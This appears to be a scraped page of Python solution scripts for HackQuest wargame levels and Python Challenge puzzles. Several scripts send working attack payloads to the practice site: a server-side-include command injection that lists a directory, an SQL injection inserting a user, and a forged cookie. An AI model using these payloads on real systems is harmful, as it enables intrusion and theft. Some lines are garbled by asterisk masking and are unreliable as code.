예제 #1
0
파일: 78.py 프로젝트: ckclark/Hackquest
def main():
    data = urlencode({
        'emailaddress':'<!--#exec cmd="ls ../images__"-->',
    })
    result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/118116/118116.php', data)
    root = etree.fromstring(result, etree.HTMLParser())
    url = root.xpath('//a')[0].attrib['href']
    result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/118116/' + url)
    open('result.html', 'w').write(result)
    result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/118116/images__/userauthinfo0205.txt')
    open('userauthinfo0205.txt', 'w').write(result)
예제 #2
0
파일: 74.py 프로젝트: ckclark/Hackquest
def main():
    data = urlencode({
        'name':r""""; INSERT INTO nuke_hackchallenge (user, pass) VALUES ('ckclark', 'password'); --""",
        'password':r"""no""",
    })
    result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/8/8.php', data)
    open('result.html', 'w').write(result)

    data = urlencode({
        'name':r"""ckclark""",
        'password':r"""password""",
    })
    result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/8/8.php', data)
    open('pass.html', 'w').write(result)
예제 #3
0
파일: 78.py 프로젝트: saitanishq/Hackquest
def main():
    data = urlencode({
        'emailaddress': '<!--#exec cmd="ls ../images__"-->',
    })
    result = fetch_web(
        'http://hackquest.com/modules/HackQuest/hacking/118116/118116.php',
        data)
    root = etree.fromstring(result, etree.HTMLParser())
    url = root.xpath('//a')[0].attrib['href']
    result = fetch_web(
        'http://hackquest.com/modules/HackQuest/hacking/118116/' + url)
    open('result.html', 'w').write(result)
    result = fetch_web(
        'http://hackquest.com/modules/HackQuest/hacking/118116/images__/userauthinfo0205.txt'
    )
    open('userauthinfo0205.txt', 'w').write(result)
예제 #4
0
파일: 74.py 프로젝트: saitanishq/Hackquest
def main():
    data = urlencode({
        'name':
        r""""; INSERT INTO nuke_hackchallenge (user, pass) VALUES ('ckclark', 'password'); --""",
        'password': r"""no""",
    })
    result = fetch_web(
        'http://hackquest.com/modules/HackQuest/hacking/8/8.php', data)
    open('result.html', 'w').write(result)

    data = urlencode({
        'name': r"""ckclark""",
        'password': r"""password""",
    })
    result = fetch_web(
        'http://hackquest.com/modules/HackQuest/hacking/8/8.php', data)
    open('pass.html', 'w').write(result)
예제 #5
0
파일: 77.py 프로젝트: saitanishq/Hackquest
def reg():
    data = urlencode({
        'action': 'reg',
        'username':'******',
        'password':'******',
    })
    result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/6/6.php', data)
    open('result.html', 'w').write(result)
예제 #6
0
파일: 77.py 프로젝트: saitanishq/Hackquest
def show():
    data = urlencode({
        'action': 'show',
        'username': '******',
        'password': '******',
        'Data[level]': '8',
    })
    result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/6/6.php?action=show', data)
    open('pass.html', 'w').write(result)
예제 #7
0
def get_cookie():
    parser = etree.HTMLParser()
    web_src = fetch_web('http://www.pythonchallenge.com/pc/def/linkedlist.php')
    #open('first.html', 'w').write(web_src)
    root = etree.fromstring(web_src, parser)
    a = root.xpath('//a')[0]
    link = a.attrib['href']
    firstpat = re.compile(r'\d+')
    fout = open('chain.txt', 'w')
    fcookie = open('cookie.txt', 'w')
    number = firstpat.search(link).group(0)
    fout.write(number + '\n')
    pat = re.compile(r'busynothing is (\d+)')
    cookiepat = re.compile(r'info=(.+?);')
    while True:
        web_src, header = fetch_web('http://www.pythonchallenge.com/pc/def/linkedlist.php?busynothing=' + number, need_header=True)
        #open('page%d.html' % count, 'w').write(web_src)
        info = cookiepat.search(header.getheader('Set-Cookie')).group(1)
        fcookie.write(info + '\n')
        number = pat.search(web_src).group(1)
        fout.write(number + '\n')
        print number, info
예제 #8
0
def main():
    #parser = etree.HTMLParser()
    #web_src = fetch_web('http://www.pythonchallenge.com/pc/def/linkedlist.php')
    ##open('first.html', 'w').write(web_src)
    #root = etree.fromstring(web_src, parser)
    #a = root.xpath('//a')[0]
    #link = a.attrib['href']
    pat = re.compile(r'\d+')
    fout = open('chain.txt', 'a')
    number = '63579' #pat.search(link).group(0)
    fout.write(number + '\n')
    count = 0
    while True:
        web_src = fetch_web('http://www.pythonchallenge.com/pc/def/linkedlist.php?nothing=' + number)
        #open('page%d.html' % count, 'w').write(web_src)
        count += 1
        number = pat.search(web_src).group(0)
        fout.write(number + '\n')
        print number
예제 #9
0
파일: 72.py 프로젝트: ckclark/Hackquest
def main():
    data = urlencode({'name':'a' * 16, 'password':'******' * 16})
    result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/3/3.php', data)
    open('result.html', 'w').write(result)
예제 #10
0
파일: 72.py 프로젝트: saitanishq/Hackquest
def main():
    data = urlencode({'name': 'a' * 16, 'password': '******' * 16})
    result = fetch_web(
        'http://hackquest.com/modules/HackQuest/hacking/3/3.php', data)
    open('result.html', 'w').write(result)
예제 #11
0
파일: 75.py 프로젝트: ckclark/Hackquest
def main():
    result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/9/challenge.php', Cookie='pass='******'SickPuppy').hexdigest())
    open('result.html', 'w').write(result)
예제 #12
0
def main():
    result = fetch_web(
        'http://hackquest.com/modules/HackQuest/hacking/9/challenge.php',
        Cookie='pass='******'SickPuppy').hexdigest())
    open('result.html', 'w').write(result)
예제 #13
0
def send_message_to_leopold():
    message = quote_plus('the flowers are on their way')
    result = fetch_web('http://www.pythonchallenge.com/pc/stuff/violin.php', Cookie="info=" + message + ";")
    open('result.html', 'w').write(result)